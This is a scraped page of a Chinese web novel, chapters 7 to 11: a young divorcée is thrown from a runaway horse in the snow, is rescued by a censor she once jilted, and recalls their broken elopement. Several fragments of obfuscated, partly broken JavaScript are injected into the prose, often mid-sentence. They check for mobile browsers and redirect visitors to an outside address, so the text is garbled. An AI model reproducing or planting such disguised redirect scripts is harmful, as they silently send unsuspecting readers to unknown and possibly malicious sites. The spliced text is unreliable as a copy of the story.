0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828696|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人出角门,果然看见一队十几个手持兵械的卫卒列队在一匹白马的前后,马的一侧还立着一个略微伛偻的背影,颇为眼熟。 那人听到动静转过头来,韩穗这才看清原是与父亲交好的同僚徐大人。 她连忙上前见礼:“徐叔父。” 徐醇风清瘦的面容露出温厚一笑:“路上积雪太厚,马车不便上路,特意给你挑了匹稳重的老马,不用怕,好骑得很,保证稳稳当当给你送回家。” “徐大人,”沈参领看向列在队尾的四名州府衙差,不解问道,“你们的人不是要领路么,为何站在后头,不去前面?” “啊呀,沈参领,”徐醇风局促笑道,“衙里这几块料怎好跑到卫所军的前头去,只一个认路的在前面就足够了。” 沈参领张了张嘴,似是想说什么,但终是摆摆手随他去了。 韩穗上马道别,先秀和华叔紧随在侧,一行人总算上路。 大雪不知何时已经转停,但他们来时在路上留下的印迹早已被后来的积雪掩盖,不见踪形。 以往每每夜间下雪,韩穗总要早些起床,赶在所有人之前出门,去感受尚未被人踩踏过的落雪,贪婪地观赏着整座城被白雪包裹得最完整的时刻。 可此时的她却一点兴致都没有,浑身疲惫地坐在马背上,只想快点到家躺进暖和的被褥里长长地睡上一觉。 只愿睡醒后今日发生的一切都化作一场梦,而她也从未遇到过什么冼公子,以及那个人。 路程行进不到一半时,给韩穗牵马的卫兵忽然停步举手示意,整支队伍便立即原地待命。 雪夜本就寂静,一行人踩雪的声响停掉后,韩穗也渐渐听清了从身后方传来的马蹄声。 紧接着,耳边传来拔刀声响,不待她反应过来,就见那卫兵又将刀插回去,半跪下去行起了军礼。 韩穗疑惑不解地扭头往后看去,借着火光,只见雪夜里有两人打马一前一后从远处而来。 雪上驾马不算快,这给她留出足够的时间看清马上之人。 稍微落后者手提长刀,跟他那脸络腮胡子甚是相配,为首之人则身披裘衣,一张清俊中正的面容在两侧雪幕的映衬下若澹澹月华。 陌生的熟悉之感让韩穗方才因疲惫缓下去的一颗心又提了上来,她迅速回头,假装没看到。 “卑职见过御史大人,敢问大人是否有要事示下?” 来人缓缓勒马,并未直接回答。韩穗听得马蹄踏雪声,似乎是那人驭马来到了自己身后侧。 “本官有事顺路,特送韩大人家眷一趟。”因是说与众人听的,嗓音中又多了些上位者的沉稳与威严。 韩穗眼神不敢乱瞟,生怕再发生什么一不小心的对视,眼睛只管盯住自己所骑那马的中分鬃毛。 但她又觉得此时不说点什么不太礼貌,只好简短道:“有劳大人。” 只是她自以为的落落大方,其实声如蚊喃。 身后人不言语,但韩穗莫名感觉到一道意味不明的目光正落在自己身上。 片刻后,马蹄声近,一只骨节分明、修长好看的手从侧面伸过来,捞起她身前那匹马的缰绳。 “走吧。” 8. 雪夜(四) 如棉厚雪之上,两匹马达达并行。 韩穗双手紧抓马鞍横梁,眼神直盯前方不敢乱瞟,这种情况下,耳力就意外好使起来。 等她察觉出那细微的时有时无的窸窣声,是来自于二人因贴靠过近导致的衣缘摩挲,蓦地浑身僵挺在马背之上。 她很不自然地朝另一侧斜了斜身子,好分出些距离,却立即听得身侧人四平八稳地提醒道:“韩姑娘当心,可要坐稳了。” 心中似有一百只狸猫在抓耳挠腮。 她行事最不喜拖泥带水,此刻恨不得打开天窗,直接看着对方的眼睛问一句:你到底认不认得我? 可随即又觉得这话问得太傻。 他确实长得很像三年前她认识的一人,但后者彼时只是个书院的小役,又如何一跃成为巡视一方的朝廷命官了? 若她未认错人,就凭当年自己对他“始乱终弃”、背信弃义的做法,此刻与他相认了,岂不是自找难堪? 转念又想,管他是谁,是否认出自己,只要她铁了心假装陌路,对方一大男人也不至于搬出三年前被甩这么不光彩的事相逼吧! 理清楚思绪,她忽然理直气壮起来,不由在马上挺直腰杆。反正就快到家了,只要下马回家关上门,她就当从未见过此人。 煎熬的时间没过多久,韩穗借着前头卫兵手中的火杖,远远瞧见了韩家所在四方胡同口儿的那株大柳树。 就在她心下松了口气时,身后兀地传来一声急吼。 “怎么回事?站住!” 韩穗下意识回头,蓦然看见队尾一个小兵似乎不知何时脱了队,听到同伴的呼喊仍不停下,反而更加拼命地向相反的远处奔去,甚至一个急转弯就要往旁边黝黑的胡同里钻。 “抓住他,别让他跑了!”先前跟随那青年而来的络腮胡子男人怒喝一声,紧急调转马头,立时朝那逃脱了的小兵冲去。 一切都发生得太过突然。 韩穗只觉身旁一个掠影,马上之人敏捷落地,他冷声下令道:“留四人保护好韩家小姐,其余人跟随我从侧面堵截!” 刚看清那青年抽刀的动作,又听到远处传来惊喊:“大人小心,有火药!” 根本来不及反应,只听轰的一声霍然炸响在耳边,韩穗顿时耳鸣鼻呛。就在这浓烟滚滚之中,身下之马兀地癫狂起来! “抓紧马鞍!”青年急声喝道。 慌乱之中,韩穗的头脑却格外冷静,她狠狠抓住马鞍,双腿夹住马腹,心里只有一个念头——坚决不能被甩下来,尤其是在他面前! 许是潜能激发,本不擅驭马的她成功没有摔下来,但糟糕的是,身下马儿几声惊恐嘶鸣后竟然不择方向地朝前奔去! 风驰电掣之中,韩穗本能地伏在马背之上,攥住马鞍横梁的双手逐渐冰冷到失去知觉,裹挟着冰粒的冷风割在脸上生疼,她顾不上那件最爱的斗篷已经被吹跑,所有心力都用于保持平衡不被甩飞出去。 但很快,她意识到当下最大的危险不止是摔马。 猎猎寒风中,她勉强睁眼,霍然发现这马正一路向北,已然狂奔至北城楼门下。 云州内城以北接有外城,由于近十几年都无战事,内城门便常年不关。 马蹄咚咚闷响过后,韩穗心道不妙,出了内城门再往北就是荒无人烟的百子坡,坡下横贯一条东西走向的大河。此时河已上冻,但若连人带马猛冲上去,很难说不会踏裂冰面坠进冰窟窿里。 她已全然放弃去控制这匹马了,本就没学过驭马之术,对身下这匹马的脾性也一无所知,更要命的是,她的双手已经被冻僵,就要失去握力。 生死存亡之际,韩穗忽然想起之前去外城北堂子胡同逛波斯集市时,曾远远看见河边有一大片麦地,厚厚的麦秸堆放在地里,还没来得及焚烧。 反正横竖都要连人带马摔出去,不如自己选择个稍微软和的地方主动跳下。 可当她努力抬头觑望,却只能在暗夜中依稀辨出一片白茫茫,根本分不清哪里是河哪里是地。 管不了那么多了,摔成残废也总比掉进冰水里淹死强。韩穗干脆眼一闭心一横,脚从马镫上完全撤出,心里默喊着母亲保佑,手一松身子一斜,整个人咕噜歪了下去。 按照她的设想,落地的瞬间保护好头部,身体摔进雪里还能有多严重? 但她显然低估了一匹受惊之马的狂奔速度,身体离开马背的瞬间,一股巨大的力量直接将她远远抛了出去,而雪地虽给了她缓冲的效果,整个人却顺着一个大斜坡无法受控地翻滚下去。 雪粒翻飞之间,左腿被一块赫然凸起的尖石狠狠地撕划过去。 霎时,钻心的疼痛让她眼前一黑。 …… “阿粲,阿粲!” 不知过了多久,韩穗在混沌不清的意识里听见似乎有人在喊她的乳名。 父亲?不对,这声音更年轻。 难道是哥哥?他是来云州接自己回京的吗? 韩穗挣扎着想要起身,可却连眼皮都睁不开。 她甚至感受不到自己的四肢,只觉得身子轻飘飘升起,又缓缓地移动起来。 难道自己已经死了? 她在云州西郊石窟游玩时曾听一个造佛像的老匠人讲过,人死后会有魂魄出窍,离开身体飘向一处最想去的地方见完最想见的人,随后再等待投胎转世。 韩穗鼻头一酸,她还不想死啊! 两行热泪顺着冻僵的脸庞滑落下来,被一双指腹有些许粗粝的手轻轻拭去。 随后一个有温度的躯体将她紧紧捂进怀里,一阵冬日松林飒飒的凛香贴面而来。 那是一股来自遥远记忆的气息,让她不由想起一个春夜,满山苍翠,月下松涛稻田前。 阿照? 韩穗哽住,想不到她死后最想见的人是他,这也太没骨气了吧! 走走走,快走。她试图用意念将自己的魂魄驱走,死后第一件事就是上赶着见曾经爱而不得的男人,传出去还怎么在阴间混,去看一眼堂姐刚生下的龙凤胎不好吗。 可那扰人心神的气味仍萦鼻不散,甚至对方躯体的温度不由分说地传导给她,使她的知觉渐渐复苏。 在雪地里被冻得木然的脑袋化开了一角,意识逐渐回笼,韩穗猛然发现,眼下趴在一个坚实宽阔胸膛上的,不是什么魂魄,正是她的□□本人! 更诡异的是,她的双手被紧紧夹在那人的双臂之下,虽得以迅速回温,但也动弹不得…… 马儿正在寂静的雪夜里轻快慢跑,时不时发出愉悦的响鼻声,以回应主人对它快速寻找到人的夸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828697|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赞和认可。 方湛察觉到怀里女子微动,揽住她的那只手圈得更紧了。 远处传来四更的梆子声。 他知道这个姿势很不妥当,但好在深夜应无人看见,更何况当下最重要的是尽快送她回去就医。 他轻踢马腹,朝着内城方向加快了驶进速度,一马二人很快便消失在茫茫雪夜中。 —— 暴雪过后紧接着就是一个艳阳高照的大晴天。 暖阳透过支摘窗斜斜地洒落在绣有凤穿牡丹纹样的幔帐上,经幔帐过滤后的柔光盈满整个拔步床内空间,尘粒在光亮中上上下下流动着,轻拂过床上人那清婉若月的面庞。 长睫微动,韩穗悠悠转醒。 睁眼后,脑中有一瞬的茫然,随即左腿一处刺痛隐隐传来,昨夜之事便如走马灯般浮现在眼前。 但她有种强烈的不真实之感,总觉得那些事都是在梦中发生的。好似她昨日一直待在家中,从未出门。 帘帐外传来阵阵低语,是管家嬷嬷宋妈和厨娘榆娘的声音。 韩穗本想出声叫她们服侍自己起身,却意外从榆娘激动又刻意压低的话语中听得“御史大人”四个字眼。 她立时躺平回去,鬼使神差地假寐偷听起来。 “果然还得是上京这种大地方,昨夜一见那御史大人,才知道什么叫一表人才,这等样貌和才学,全云州都找不出一个!” “瞧你这没见过世面的样儿,”宋妈语气中充满不屑,“回头等你跟我们一同去上京就知道了,才貌家世出众的儿郎多的是。” 榆娘仍沉浸在自己的情绪中:“我说昨夜怎么躺下就一直睡不着,也幸亏是这样才听着了后门的敲门动静,一开门就看见咱们姑娘倚在那大人的怀里,现在想想还真是郎才女貌……” “哗啦”,似乎是火钳碰撞火盆的声响,榆娘的话戛然而止。 短暂的沉默后,宋妈声起:“李榆娘,这话说给我听就得了,事关姑娘的清誉,昨晚的事情万不能跟外人说去,姑娘本就是和离之身,回京后是去是留自有大太太做主,不管你私心觉得如何,都得将此事烂在肚子里,永远别再提起。” “和离又怎么了,般配就成,咱们姑娘才貌双全,难不成就因为嫁过人,只能再给那些老东西当填房?”榆娘语气很是不服。 宋妈一时无话,过得一会儿,她叹气道:“唉,姑娘这是流年不顺走背字了,怎的回家路上就偏偏遇上一个要当逃兵的,连累受了惊吓又受了伤。幸好伤的只是皮肉,不会落下腿疾,否则将来的日子难上加难。” “姑娘吉人自有天相,等休养好了去庙里上柱香求个符便是。”榆娘停顿了会儿,似乎还是不死心,追问道:“你说,那御史大人有没有娶亲?” “别想了!”宋妈被气笑了,“听老爷说,他可是正四品的大官,叫什么佥都御史的,比老爷都官大,年纪轻轻就能坐到这个位置上,出身与学识定是缺一不可,这等优秀后生,怕是早就被京中那些门阀世家给相中了,可咱们姑娘……” 说到此处,宋妈声音黯淡下去,就连榆娘也不再接话。 屋内突如其来一阵静默,似乎弥漫出某种对韩穗境遇不言而喻的惋惜与同情。 她再也躺不下去:“咳咳,还有没有人管我啦!” 9. 故人(上) 听得帐内人出声,宋妈快步上前,撩开幔帐,一眼看到韩穗略显苍白的面容,心疼道:“姑娘受苦了!” 韩穗欲坐起身,刚一动,就感觉左侧小腿处传来阵阵钻心痛楚,禁不住嘶声喊疼。 宋妈连忙伸手相助:“姑娘切莫乱动,昨夜你摔下马,左腿不知被什么划了道好深的口子,大夫说这几日最好卧床静养,免得牵动伤口。” 她给韩穗身后放好软枕,又嘱咐榆娘弄些清淡吃食来。 做完这些,她关切地将韩穗浑身上下问了个遍,尽管后者连连摇头,她还是忧心忡忡:“昨晚姑娘在雪地里不知躺了多久,就怕受了大寒留下什么病根,尤其是姑娘的手,金贵得很,但愿不要生冻疮才是。” 说着说着,她眼眶微红,最后竟止不住落泪:“怪老婆子我没把姑娘照看好,才叫姑娘受如此大罪,我愧对太太生前嘱托!你母亲去时最放心不下的就是你,千叮万嘱地把你托付给我,可我……” “先前以为把你嫁去白家是顶好的婚事,谁知那家是个吃人不吐骨头的狼窝子,好在你自己争气逃脱出来,刚跟着老爷过点舒心的日子,又遭此不测,倘若你有个三长两短,我到地下都……” “好啦好啦,这些事都是意外,跟您又有何关系,母亲泉下有知也不会怪您的。”韩穗忙不迭拦截道。 宋妈是跟随母亲陪嫁到韩家的,看着她自小长大,胜似亲人。 她年幼失怙,宋妈怕将来的继母对她兄妹二人不利,主动放弃脱奴籍离府的机会,留在韩家照顾她与哥哥。虽说后来父亲再未续娶,但她二人平安长大离不了宋妈的全心倾注。 甚至在得知已出嫁两年的她离开白家跑到云州的消息后,年过半百的人,在上京家中与大伯母据理力争,只身上路,千里迢迢奔波而来,只为能照顾得她更舒适些。 宋妈哪里都好,就是遇事喜欢没完没了地自怨自艾。 韩穗正愁如何打住她这个苗头,忽听见先秀在外头隔窗喊道:“宋妈,您要的艾灸大夫送来了,我不太懂,您能出来帮忙清点一下吗?” 上了年纪的人往往无法拒绝小辈在自己最擅长的领域内发出的求助。宋妈当即收拾好自己的泪容,高声应下,叮嘱韩穗好好休息,匆匆而去。 宋妈走后不多会儿,先秀便蹑手蹑脚地进来将门关好,提着裙子三步两步冲到床边。 她本是抱着十万分的八卦心态来对昨夜细节的,但看到韩穗左腿包扎处隐隐透出的血迹,眼泪瞬间决堤,趴跪在床边鸣咽起来:“姑娘.….” “别哭了,我还没死呢。”韩穗面无表情地闭了闭眼,随即又忧心转问:“昨晚你和华叔受伤没有?” 先秀边抹眼泪儿边摇头:“我们都没事,就是被那声火药吓坏了,等反应过来姑娘又不见了,我和华叔急得不得了!我二人顺着马蹄印找,直到快出外城了才在林子里发现那马,可四周却没有姑娘的身影。” “我们太傻了,一直在林子里找你,亏得御史大人聪明细心,当即返回,果然在沿途找到了姑娘,否则……” 先秀不敢再说下去,否则寒冬腊月在雪地里冻一夜,怕是人早就僵了。 再之后,她与华叔找不着人便打算回去报官,刚好路上遇到御史大人打马带着韩穗往家里去。 “姑娘,你还记得昨夜是怎么回来的吗?”先秀问话的语气小心翼翼,可双眼却压抑不住隐隐期待。 韩穗登时脸热。 昨夜跌下雪坡后,她便失去了意识。至于自己是何时被那人找到,又是如何被他带回家的,只有一些虚实不清的混沌记忆遗留在脑海里。 然而就算是一些细碎模糊的片段,也足以让她此刻两颊莫名发烧。 “不记得了。”她果断道。 她与他之间,不该再有这种叫人耳热的联结存在。 先秀未免失落:“哦,可惜了。” 可惜被那样好看的公子圈在怀中雪夜打马的美好体验了,姑娘居然不记得了! 韩穗虽未听懂“可惜”在何处,但也知小丫头此刻心里想的定不是什么正经事,便打岔使唤她去把父亲叫来。 —— 是夜韩立煜眼睛都没合一下。 原以为有卫所军护送女儿回家万事大吉,便一心扑在搜捕逃犯一事上,岂料没过多久,就从御史大人派来传话的人口中得知女儿遭遇不测。 他慌张赶回,见到女儿腿上血淋淋的伤口,犹如痛在他自己身上。 好在大夫诊断一番后,说韩穗身体底子好,除了这处皮外伤并几处瘀伤外,别无大碍。但他担忧病人突然发热,便留在韩家候了一夜。 大夫留下是为保险起见,可那位御史大人居然也不肯走,非说是他安排不当才致此意外,一直待到东方天微亮,得知韩穗情况平稳无变后才离去。 韩立煜只当他出于自责,抑或为展示其体恤下官而为,总之并未多想。 此刻得知女儿醒后,他匆匆而来,看着韩穗脸色虽虚弱,但精神尚佳,一颗紧揪着的心总算可以稍稍放下。 父女二人在房间内简单用过朝食,韩立煜不免忧心忡忡地提起昨日那接二连三的岔子来。 “原以为,叶阳县的民乱案已查办得很是清楚明了,证据供状一应俱全,就连审决都是上头批过的,谁能想到,上午州府刚结了案,下午圣谕与巡按御史就先后而至,看圣上的意思,竟是要对此案重查深查,其中迂回云州府却一概不知,实在奇怪得很!” “本就摸不清此事原委,偏巧御史一入城,叶阳县一案牵出的差错就层出不断。你可能还未听说,昨日午后在鹊英大街发生一起乱民械斗,你猜那带头闹事者是谁,正是刚被州府判定在叶阳县案中无罪的赵二,这匹夫居然一出狱就带人找刘百盛索命,公然斗殴,还刚好被入城的御史遇上,这不是在打我们州府这群老帮菜的脸面么!” “自大胤立朝以来,云州府几十年太平无事,偏巧在巡按御史来的当夜,出了一档子越狱之事!那逃犯是叶阳县案的犯人之一,原是叶阳县的胥吏,他虽未参与民乱杀官,但却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828698|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因贪赃枉法刚被定罪,不日就要被充入奴籍发配岭南,谁又知是怎么回事,竟然从州狱离奇消失了?” 赵二的事还能说成是意外,但在押案犯神不知鬼不觉的越狱,完全属于府衙失职,直叫州府几位大人战战兢兢,只觉头上乌纱帽难保矣。 韩立煜重重叹气:“听说昨晚你回家路上,护卫队中忽出现逃兵,饶是御史大人带着玄英卫的司都校尉随行,都叫那小兵逃了,多事之秋,多事之秋啊!” 见父亲疲惫不堪,韩穗心疼劝道:“依我看,父亲的身体最为要紧,切莫因这些事劳神伤身,左右您在此地任期已满,礼部的调令也早就收到,不过是叶阳县民乱杀官一案突发,受知府大人所托留在州府帮忙罢了。管它云州要闹哪样,反正叶阳县案已结,您该去找知府大人提提回京一事了。” 原本她是畏怕回京的,不想回到那个在大伯母管治之下叫人束手束脚的韩家,能在云州赖一日算一日。 然而过了昨夜,她只恨不能立刻打包上路,好从那位御史大人的眼前快快消失。 韩立煜深以为然地点头,若有所思道:“你说得不错,还是早些回京为妙。这次来的御史大人虽年轻,但行事老辣沉稳,远见明察,随行又有玄英卫与卫所军,可见深得圣上信任倚重。” “我隐约记得你哥哥当年来信提过,有一位姓方的同科进士,是经‘免举’参加会试,想来当时说的就是他了。没想到短短三年,此人就能官居四品、巡按一方,想必背后大有来历,只是连向来消息灵通的知府黄大人都对他一无所知,未免过于神秘.…...” 韩穗不禁怔然。 哥哥韩程是三年前中的进士,而三年前,也正是她决心嫁去白家之时。 心中隐隐浮出一个巨大的疑问——三年前究竟发生了什么,一介微不足道的书院杂役能在一夜之间下山入京,转身成为朝堂中炙手可热的后起之秀? 还是说,她认错了人,昨夜那位持身谨正、清贵若玉的御史大人,与当年被她扔在紫金山下冷风中苦等无果的小役,根本就是两个毫无关系的人! 察觉到女儿沉默,韩立煜恍然回神,意识到她还在病中,自己着实不该用这些俗务烦扰她,忙自责道:“为父老糊涂了,跟你说这些做甚。不过这几日接连出事,府衙定有的忙了,怕是无法在家多陪你。你腿上有伤,又在雪地里冻了那么久,万不可大意,就在家中好好躺着休息,莫要胡思乱想,万事都有父亲在。” 韩穗缓缓应下,看着父亲起身往门口走去,终究还是没忍住,出声问道:“父亲,那位御史大人叫何名?” 韩立煜脚步一停,虽不明白女儿为何问此事,但还是回身道:“姓方,名湛。” 可这两个字,她并不熟悉。 “他可有表字?” “这……”韩立煜蹙眉回想,不确定道,“听那位冼少监好似称他‘明渊’兄,想来便是他的字了。” 明渊。 韩穗悬着的一颗心终于死了—— 她没认错。 10. 故人(下) “明渊?你不是叫牛阿照么?” 十六岁的韩穗将目光从手中那张皱巴巴的旧书信上转向身侧少年,少年单眉一挑,随手拉过一只杌子跨坐上去,不以为意道:“‘阿照’是被牛叔收养后自己瞎起的混名,‘明渊’是以前父母还在时我叫的名字。” 韩穗不认同道:“那你就应该还叫‘明渊’才对,你父母虽已不在人世,家也没了,但毕竟是生身父母取的名字,定寄予了他们的厚望,不该舍弃。” “可若是没有牛叔,我早就饿死在街头了,所以现在的我就叫‘牛阿照’。” “随便你。”韩穗不喜多费口舌,但她还是出于好奇问道:“那你原本姓什么?” “这位小师傅今日话挺多啊,问东问西的,”少年阿照故作不满,嘴角却仍提笑,“你就说这信还能不能恢复原样了?” 手中书信已有年头,看内容应是多年前他母亲回娘家期间写给他的,信中只平常地过问了几句功课与冷暖,却被他珍藏至今,想来平日里看着极无所谓的人,内心深处亦与她一样,思母深切。 只是信纸昨夜刚随主人一起被山洪吞没过,湿透后又阴干,此刻糟皱得像团梅干菜。 不过这对她韩穗来说小菜一碟,她打包票道:“小意思,保证能修复如初。” 少年这才欣然绽笑,明朗恰如窗外阳春晖泽。 十六岁的韩穗曾因这笑鬼迷心窍,但如今的她想起来只会生一肚子闷气。 悄寂的寝堂内,韩穗随手抄起床上一个软枕,撒气似地掷出去。 “愚不可及!”她骂三年前的自己。 彼时人家连真实身份都不愿告诉她,她居然就头脑发热地想拐走他私定终身! 细细回想,当年他面对自己展露无遗的喜欢,好像从未有过明确回应,只一双看向她的清隽凤目偶尔如藏汪洋罢了,天真的她就将之当成了默许。 更要命的是,在得知大伯母来信要将她早早出嫁后,第一反应不是请求父亲出面帮她回绝,而是连夜制定了逃往母亲出生之地湖州的计划,并拿着这纸计划找到少年,提出一个惊世骇俗的想法。 “反正你无父无母,寄人篱下,又嫌这书院无聊,现在给你一个跟我走的机会,要不要?” 少年头枕双手,倚躺在绿草茸茸的山坡上,闻声缓缓睁眼,又因午后春阳的照耀微微眯起,意味不明地看着眼前冲劲十足的姑娘,懒洋洋问道:“跟你走,你养我啊?” “那当然,别忘了我可是有一技之长的,”少女韩穗信誓旦旦,“不就是吃得多点么,你娶我,我来包养你!但前提是,你得先跟我私奔。” 那日少年方湛对这番话的反应,如今她已记不太清了,总之如往常一样,没有回绝,亦没有明确说好。 她也如往常一样,将这态度理解为默许。 只是这次,她毁约了。 大伯母连追几封信,说只要她与白家联姻,就能救出身陷囹圄的大伯父,就能阻止牢狱之灾蔓延到父亲身上,就能保十年寒窗只为一试的哥哥出身清白。 她试着轻松开导自己,身为女子,娘家是待不久的,左右要嫁人,不如做个“划算”些的选择。 于是到了二人约好私奔的那日,她托哥哥韩程带着这选择替自己赴约。 她本可假装置身事外,但不知为何还是偷偷跟去,躲在不远处暗暗观望。 “明渊兄,希望你能理解,女子嫁人是终身大事,白家乃定州百年望族,舍妹嫁过去总比跟着你白手起家的好。所以,今晚她不会来了。” 少年只问了句:“是她自己的选择?” 韩程道:“自然。” “知道了。”淡淡一语,似乎无关痛痒、早有预料。 可是韩程走后,他却在立在夜风中,一直等到天亮。 那晚韩穗躲在暗处泪水涟涟,既为自己的不得已自责心痛,又为对方执着等待而感动。 但此事在三年后再回忆起,她只有尴尬到想抠墙皮—— 那晚那家伙明明空手而去,丁点儿行李包袱都没带,八成就没做跟她走的打算! 可气的还有韩程,当时只叫他去转达自己反悔的意思,谁让他多嘴,非得说出她是为了嫁入大族白家而放弃对方的事实。 这下好了,后来发现白家的婚事是个火坑,为了火速和离,她连搭进去的嫁妆都来不及敛齐。反观当年被她背弃的那位,如今摇身一变,成了平步青云的御史大人! 怎么看都像是应了话本子里那种十年河东十年河西、嫌贫爱富终无好下场的说教套路。 当年之事回忆起来不免羞耻,想到如今境遇又替自己尴尬,韩穗暗自祈祷,但愿今后别再遇到那位御史大人,哪怕是要她足不出户。 若真倒霉遇上,也只能装作陌路,摆出拒人于千里之外的姿态,让他不得靠近。若他非得厚着脸皮提过去…… “那就不好意思了,”她恶狠狠地揉搓着手边仅剩的一个软枕,“只能使出杀手锏,就说我撞到了脑子,失忆了!” 这一日,韩穗躺在床上的心情着实不算美妙,就连换药时伤口处的皮肉之痛都退居次位了。 吃过晚饭,她决定好好睡上一觉,根据过往经验,任何烦恼经过一夜酣睡,太阳再升起时都能至少消散一半。 然而她忘了,还有一句老话叫,日有所思夜有所梦。 白日里她试图驱散的那些念头,趁夜深人静又悄悄潜入脑海,在缺少理智控束的梦境中肆意生长扩大,愈演愈烈,直到模糊的意识演变成身临其境的现实。 “韩阿粲,别来无恙啊,”青年抱臂倚在四方胡同口那株大柳树的阴翳之下,看不清眉目,只觉清朗声线中讽刺无限,“听说你因犯七出被定州白家休了?” “一派胡言!那是白家为了遮掩自家不堪,颠倒黑白,东诓西骗,故意诋毁我的!”韩穗争辩道。 “别强撑门面了,”青年边说边从阴影中走出,“当年你弃我如敝履,转嫁高门,定没想到那所谓望族不过徒剩虚名而已,空有架子,内里糟烂,所有人都想吸你的血!” 青年越说越激动,好看的五官上快意与恨意交织,他阴森追近,桀桀而笑:“好一个天道轮回,报应不爽!” 韩穗下意识转头就逃,忽见另一个自己站在不远处,对她喊道:“别慌,这是梦!” 原来是梦。 她从梦中惊坐而起,只见屋内窗明瓦亮,外头鸟鸣啁啾。她轻拍自己的胸脯,长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828699|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒一口气:“我一定是忧思过度了,那人只是个远在千里之外的书院杂役,怎么可能会特意追到云州来看我的笑话,我与他这辈子都不可能再见面了。” 刚定下心来,突然先秀火急火燎地从外面奔进来。“不好了不好了,家里来了一个年轻大人,带兵将咱家围了起来,说是当年姑娘在书院时与他两情相悦,最后却背叛了他,他要为此事讨个说法!” 震惊中,韩穗一眼瞥见窗外火舌肆虐、浓烟滚滚,不禁惊呼:“有话好好说,不要放火烧我家!” “不要……”韩穗猛然睁眼,挣扎起身,腿伤的痛楚瞬间让她清醒过来。 眼前哪有什么火舌与浓烟,只有熟悉的密合色凤穿牡丹帐幔低低垂下,帐边阁柜上的青瓷抱月瓶中插着数支含苞的檀香腊梅。 她居然做了个梦中梦! 先秀闻声而来,撩开帐幔,见韩穗满头细汗、惊魂未定的样子,关切问道:“姑娘可是又做那个暴雨夜的噩梦了?” 韩穗摇摇头,定定道:“还不如那个梦呢。” 注意力回到现实后,她渐渐嗅到空气中有一股奇柽的烟味:“什么东西烧了,如此呛?” 先秀看了眼瓶中腊梅,不好意思道:“我闲来无事,便修剪了下腊梅,把多余的枝条扔到火盆里烧了,没想到这么呛.....” “哪儿来的腊梅?” “今日一早大夫拿来的,他说榻上养伤心情也很重要,看看花,好得快些。” 韩穗看着那如蜜蜡的花骨朵,心道,看不出那老郎中还挺有生活品位,殊不知她最爱的就是这黄腊梅了。 既然大夫已至,她便起床收拾更衣,着人请他来为自己看诊。 看诊过后,赶在出门上值之前探望女儿的韩立煜也过来了,同时带来的还有一个有点诡异的好消息。 他将一只锦盒递还给韩穗,说起她几日前冒雪前往府衙所为之事。 原来那晚秦风得韩穗交待后,怀抱锦盒,在议事间外等了好久,都没找到机会把事情转告给韩立煜。待天色将亮时,忽又来人报姑娘出事了,二人匆匆返家,哪还有功夫管旁的。直到韩穗平安脱险,秦风这才将她弄坏冼少监衣裳的事禀明。 韩立煜听罢,顿时恍然大悟女儿那晚为何要冒雪找他。冼家七郎的“威名”他也有所耳闻,当即接过锦盒,打了好半天腹稿,只为想好如何平息那位高门公子的怒气。 可昨日不巧,冼某人称熬了一夜太累,跑去云州最奢华的酒楼醉云天睡大觉去了。 好不容易在醉云天守到了出门的冼牧川,韩立煜上前刚把来意说了个开头,对方就不耐烦地摆手打断,道是根本就没这回事,自己的衣裳袖子分明是不小心被钉子刮破的。 他还想再解释,对方早已甩手离去了。 对此,韩立煜翻来覆去地想了一通,猜测只有一个可能:“冼家家大业大,冼少监不把一件衣裳看在眼里也正常。他此次来云州协理督巡,若收了我的东西,难免有收受地方官员贿赂的嫌疑,更何况他的姑姑是冼贵妃,天家顾忌更多,许是因此才干脆假装此事从未发生。” 韩穗一头雾水地接过“完璧归赵”的锦盒。 “混世魔王”冼七郎懂事儿了? 11. 叶阳县(上) 自那夜下了场铺天盖地的大雪后,云州城又迎来接连几日的好天气。 韩穗在床上闷闷躺了两日,最开始因重逢旧人而起的心绪震荡渐渐平落后,她开始冷静思考尽快回京一事。 不仅为躲方湛,更为避开刘百盛日后极有可能的报复。 然而这两日父亲早出晚归,她连人都没见到,又谈何找机会询问向知府大人提请回京的情况。 是日午后,她越想越躺不住,干脆打发小厮通山去府衙跑一趟,找到父亲问问到底何时回京,她好在家中提前收拾行奁。 通山去了良久,直至日头偏西时才满头大汗跑回来,却道没见上韩立煜。 “不对,见是见着了,但离得太远,没能说上话。” 